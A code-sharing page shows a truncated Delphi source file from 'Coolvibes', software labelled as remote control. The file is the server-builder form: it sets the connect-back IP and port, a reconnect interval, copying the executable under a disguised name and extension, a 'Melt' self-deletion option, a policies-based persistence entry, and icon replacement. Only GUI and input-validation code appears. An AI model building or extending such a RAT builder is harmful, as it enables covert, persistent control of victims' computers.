⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitformconfigserver.pas

📁 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制
💻 PAS
字号:
unit UnitFormConfigServer;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons,
  SettingsDef, {Esta es la unidad para leer la configuracion}
  MadRes, {Unidad para cambiar el icono de un EXE}
  ExtCtrls, ComCtrls,
  UnitVariables;

type
  TFormConfigServer = class(TForm)
    EditID: TEdit;
    EditServerPath: TEdit;
    LabelPath: TLabel;
    BtnBrowse: TSpeedButton;
    OpenDialog: TOpenDialog;
    GroupBox1: TGroupBox;
    ScrollBox1: TScrollBox;
    BtnGuardarConfig: TSpeedButton;
    Bevel1: TBevel;
    Label1: TLabel;
    EditIP: TEdit;
    Label2: TLabel;
    EditPuerto: TEdit;
    Label3: TLabel;
    Bevel2: TBevel;
    Bevel3: TBevel;
    Label4: TLabel;
    ImageIcon: TImage;
    Bevel4: TBevel;
    StatusBar: TStatusBar;
    BtnSalir: TSpeedButton;
    Label5: TLabel;
    EditTimeToNotify: TEdit;
    Label6: TLabel;
    MemoOutput: TMemo;
    CheckBoxCopiar: TCheckBox;
    Label7: TLabel;
    Label8: TLabel;
    EditFileName: TEdit;
    GrpBoxCopiarA: TGroupBox;
    CheckBoxMelt: TCheckBox;
    Label11: TLabel;
    Bevel5: TBevel;
    Label12: TLabel;
    CheckBoxPolicies: TCheckBox;
    Label14: TLabel;
    Label15: TLabel;
    EditPoliciesName: TEdit;
    Bevel6: TBevel;
    EditCopyTo: TEdit;
    ImageHintCopiarA: TImage;
    procedure BtnBrowseClick(Sender: TObject);
    procedure EditPuertoExit(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure ImageIconClick(Sender: TObject);
    procedure BtnGuardarConfigClick(Sender: TObject);
    procedure BtnSalirClick(Sender: TObject);
    procedure EditTimeToNotifyExit(Sender: TObject);
    procedure EditPuertoKeyPress(Sender: TObject; var Key: Char);
    procedure EditPuertoEndDrag(Sender, Target: TObject; X, Y: Integer);
    procedure EditIPKeyPress(Sender: TObject; var Key: Char);
    procedure CheckBoxCopiarClick(Sender: TObject);
    procedure CheckBoxPoliciesClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    IconPath : string;
    function ComprobarDatosValidos(): Boolean;
  public
    { Public declarations }
  end;

var
  FormConfigServer: TFormConfigServer;

implementation

{$R *.dfm}

procedure TFormConfigServer.FormShow(Sender: TObject);
begin
  StatusBar.Panels[0].Text := 'Seleccione el servidor que desea modificar.';
  IconPath := '';
  EditServerPath.Text := '';
  MemoOutput.Clear;
  MemoOutput.Lines.Append('> Listo.');
  //Icono por defecto
  if FileExists(ExtractFilePath(ParamStr(0))+'Imagenes\ExeBMP.bmp') then
    ImageIcon.Picture.LoadFromFile(ExtractFilePath(ParamStr(0))+'Imagenes\ExeBMP.bmp');
  CheckBoxCopiarClick(Sender); //Para que desactive o active los campos
  CheckBoxPoliciesClick(Sender);//Para que desactive o active los campos
end;

procedure TFormConfigServer.BtnBrowseClick(Sender: TObject);
begin
  with OpenDialog do
  begin
    Title := 'Abrir servidor de Coolvibes ' + VersionCool + '...';
    Options := [ofFileMustExist]; //solo deja seleccionar archivos que existan
    Filter := 'Servidor de Coolvibes (*.exe, *.pif, *.scr, *.com, *.bat, *.cmd)|*.exe;*.pif;*.scr;*.com;*.bat;*.cmd|Todos los archivos (*.*)|*.*';
    DefaultExt := 'exe';
    InitialDir := GetCurrentDir();
    if Execute then
      EditServerPath.Text := FileName;
  end;
end;

//Funci髇 para comprobar que todos los datos son validos
function TFormConfigServer.ComprobarDatosValidos(): Boolean;
var
  s : string;
begin
  Result := True;
  //Comprobamos que sean correctos los datos del EditServerPath
  if EditServerPath.Text = '' then
  begin
    //No seleccionaron servidor
    BtnBrowseClick(Nil);
    Result := False;
    Exit;
  end;
  //Comprobamos que sean validos los datos del EditPuerto
  if (StrToIntDef(EditPuerto.Text, -1) = -1) or
     (StrToInt(EditPuerto.Text) > 65535) or
     (StrToInt(EditPuerto.Text) < 1) then
  begin
    StatusBar.Panels[0].Text := 'El puerto debe ser un n鷐ero entre 1 y 65535';
    MessageBeep($FFFFFFFF); //Suena un ruidito..., para informar que hay que mirar la StatusBar :)
    EditPuerto.SetFocus;
    Result := False;
    exit;
  end;
  //Comprobamos que sean correctos los datos del EditTimeToNotify
  if (StrToIntDef(EditTimeToNotify.Text, -1) = -1) or
     (StrToInt(EditTimeToNotify.Text) < 1) then
    begin
    StatusBar.Panels[0].Text := '"Intentar conectar cada" debe ser un valor n鷐erico superior a 0';
    MessageBeep($FFFFFFFF); //Suena un ruidito..., para informar que hay que mirar la StatusBar :)
    EditTimeToNotify.SetFocus;
    Result := False;
    exit;
    end;
  //comprobamos que sea correcto el nombre para copiar
  if CheckBoxCopiar.Checked then
    begin
    s := ExtractFileExt(EditFileName.Text);
    if s = '' then EditFileName.Text := EditFileName.Text +'.exe';
    if (s <> '.exe') and (s <> '.com') and (s <> '.scr') and (s <> '.pif') and (s <> '.bat') and (s <> '.cmd') then
      begin
      StatusBar.Panels[0].Text := 'Extensi髇 no v醠ida. Debe ser: .exe, .com, .scr, .pif, .bat 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -